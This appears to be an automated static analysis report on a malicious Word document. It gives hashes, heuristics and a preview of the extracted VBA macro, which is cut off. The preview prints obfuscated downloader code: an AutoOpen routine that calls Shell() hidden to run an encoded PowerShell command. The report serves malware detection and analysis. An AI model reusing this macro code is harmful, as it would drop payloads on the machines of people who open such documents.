Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c18a978b9f86f8c3…

MALICIOUS

Office (OLE)

93.0 KB Created: 2018-05-29 08:48:00 Authoring application: Microsoft Office Word First seen: 2018-06-14
MD5: 316f112f3668986e642f85267bb5bcbf SHA-1: 702ec4d0ddec925a337fd121d3035010a33528eb SHA-256: c18a978b9f86f8c3c4ba3f669f530349eae514c74014d0ad48700b28d819dfbe
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an Autoopen function that calls Shell() to execute a command. The script constructs a PowerShell command, which is heavily obfuscated but appears to be designed to download and execute a second-stage payload. The presence of the Shell() call and the obfuscated PowerShell command strongly indicate a downloader or dropper functionality.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15762 bytes
SHA-256: eff8e267d3680dd6f199ad71ddc365b604ae45355ad9da94dc142c25084780aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "cEPuVCaK"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function VSCGMwt()
On Error Resume Next
IGEfoG = Fix(52933 / CSng(9230) * RTRWM * QPCmB)
VhBn = CDate(7762)
DLfwfi = Fix(11068 / CSng(31916) * IjSRp * wwPhTt)
VhBn = CDate(90119)
VSCGMwt = GrBIPDsAAE + jHDhAKn + WaztMAsi + XFWwv + SUKGnIOYTZ + NCHwz + zAnYb + hqMKZGwz + cPTLLCMW + iMjIFXO
YhiSw = Fix(79953 / CSng(39522) * vbODsA * aszAEL)
VhBn = CDate(71531)
End Function
Sub Autoopen()
On Error Resume Next
vTZQE = Fix(44944 / CSng(38647) * AIvGRz * JbsVl)
VhBn = CDate(83820)
pWrow (VSCGMwt)
mzzIo = Fix(79433 / CSng(39319) * qDndmw * YPPbq)
VhBn = CDate(27510)
End Sub
Function pWrow(jjVOSTZsCHN)
On Error Resume Next
wuYcbp = Fix(49441 / CSng(22329) * zMsjbT * iiQHRs)
VhBn = CDate(35530)
RZpURA = TEFIYiUVWq + Shell(akPdphjKO + Chr(vbKeyP) + wrJFkajHuA + jjVOSTZsCHN, vbHide)
LRnCcG = Fix(19149 / CSng(1751) * sBDkLN * TfOnRt)
VhBn = CDate(34844)
End Function


Attribute VB_Name = "FTjwaHcEclRJCX"
Function GrBIPDsAAE()
On Error Resume Next
wKZpZ = Fix(36680 / CSng(16697) * bJbEw * Giflin)
VhBn = CDate(68630)
IDTGHK = "owersHeLL -Wi" + "nDows" + "Tyle hidd" + "en -e LgAgACgA"
AzBdzB = Fix(66719 / CSng(51143) * VDYGb * HCTcf)
VhBn = CDate(10100)
GqtWkwTEvN = "IAAkAHMASABlA" + "EwATAB" + "JAEQAWwA" + "xAF0AKwAkAFMAS" + "ABlAGwATABJAEQA" + "WwAxAD"
jMkmE = Fix(67598 / CSng(18077) * jHaPJZ * wVHiBk)
VhBn = CDate(11253)
aWvzwcOizv = "MAXQArAC" + "cAeAAnA" + "CkAIAAoACgAKAA" + "iAHsAN" + "QAzAH0AewAxADA" + "AMgB9AHsANg" + "A4AH0Aew" + "A3ADMAfQB7A" + "DcAMAB9"
YlfFY = Fix(68372 / CSng(20518) * EdkTp * LzzRum)
VhBn = CDate(91614)
DVwOOSvzuR = "AHsAMwA" + "4AH0AewA4ADMAfQ" + "B7ADEA" + "OAB9AHsAMQA" + "wADEAfQ" + "B7ADMAOQB9AH" + "sANQB9A"
GrBIPDsAAE = IDTGHK + GqtWkwTEvN + aWvzwcOizv + DVwOOSvzuR
End Function
Function jHDhAKn()
On Error Resume Next
rRATFw = Fix(40729 / CSng(470) * faKMA * dluYw)
VhBn = CDate(41494)
wLHMqzNH = "HsAOQAyAH0Aew" + "A3ADkAfQB7AD" + "UAMAB9AHs" + "ANgA0AH0A"
ZFzEJK = Fix(60402 / CSng(69395) * TFauOF * dMpEZ)
VhBn = CDate(9297)
wszHhzUK = "ewAxAH0Ae" + "wAxADAANwB9AHsA" + "OAA0AH0AewAxAD" + "IAOQB9" + "AHsAOAA1" + "AH0AewA0ADEA" + "fQB7ADYAM" + "QB9AHsAMQAz" + "ADQAfQB7ADEAMw" + "A1AH0Ae"
ifKYVf = Fix(654 / CSng(26926) * cFsuTB * LUTqHE)
VhBn = CDate(73652)
ZTqYh = "wAxADIAfQB" + "7ADcAM" + "gB9AH" + "sANgA2AH0AewA1A" + "DEAfQB7A" + "DEANQB9AHsAMQ" + "AyADYAfQB" + "7ADUAOQB9A" + "HsAOQA5AH0A"
KYjQM = Fix(13466 / CSng(33314) * UMUYw * JEpFGz)
VhBn = CDate(77385)
BtPaZl = "ewAzA" + "DYAfQB7ADEAM" + "gAyAH0AewAxADAA" + "MAB9AHsAMQAwAD" + "UAfQB7ADkANQB" + "9AHsAOQAxAH0Aew" + "AyADcAfQB7AD" + "QANAB9AHsA"
LkcXi = Fix(68118 / CSng(11087) * mZtEN * zjBrLt)
VhBn = CDate(45994)
wmnWCIJK = "OAAwAH" + "0AewAy" + "ADUAfQB7ADI" + "AfQB7ADEA"
zcpZLP = Fix(2797 / CSng(3274) * oSpNvn * chGGav)
VhBn = CDate(59143)
nEujwrmo = "NAB9AHsANQA3" + "AH0AewA1AD" + "UAfQB7ADUAM" + "gB9AHsAMQAxA" + "DgAfQB7A" + "DQANgB9A" + "HsAMwA3AH0Ae" + "wAxADIAMQB9AH"
YLEFDP = Fix(73376 / CSng(89085) * dlziFY * MkbElY)
VhBn = CDate(70289)
jSnRdiR = "sANgAz" + "AH0Aew" + "AxADAAOQB9AHs" + "ANAB9AHsAMwAx" + "AH0AewA1ADgAfQB" + "7ADQANwB9AHsA"
jHDhAKn = wLHMqzNH + wszHhzUK + ZTqYh + BtPaZl + wmnWCIJK + nEujwrmo + jSnRdiR
End Function
Function WaztMAsi()
On Error Resume Next
vNPdn = Fix(34412 / CSng(14366) * wuAzL * wiCYrj)
VhBn = CDate(18590)
zlMUzz = "OQA3AH0AewA2A" + "DAAfQ" + "B7ADQAMwB9AH" + "sAMQAyADgAfQB7A" + "DgAOQB9AHsANAA"
FWJQtp = Fix(37259 / CSng(49886) * AbAJp * IGfVhB)
VhBn = CDate(76356)
wSjJiCUjl = "5AH0AewAxADIA" + "MwB9AHs" + "AMgAy" + "AH0AewAxA" + "DAANgB9AHsAM" + "QAwADgAfQB" + "7ADEA" + "MQA0A"
YiQms = Fix(4211 / CSng(25670) * AuHIsT * YRkYl)
VhBn = CDate(98686)
LWCpLijDIPi = "H0AewAx" + "ADEAMwB9AHs" + "AMQAxA" + "DcAfQB7" + "ADcAOAB9A" + "HsAMQA5A" + "H0AewA1ADQAfQB" + "7
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.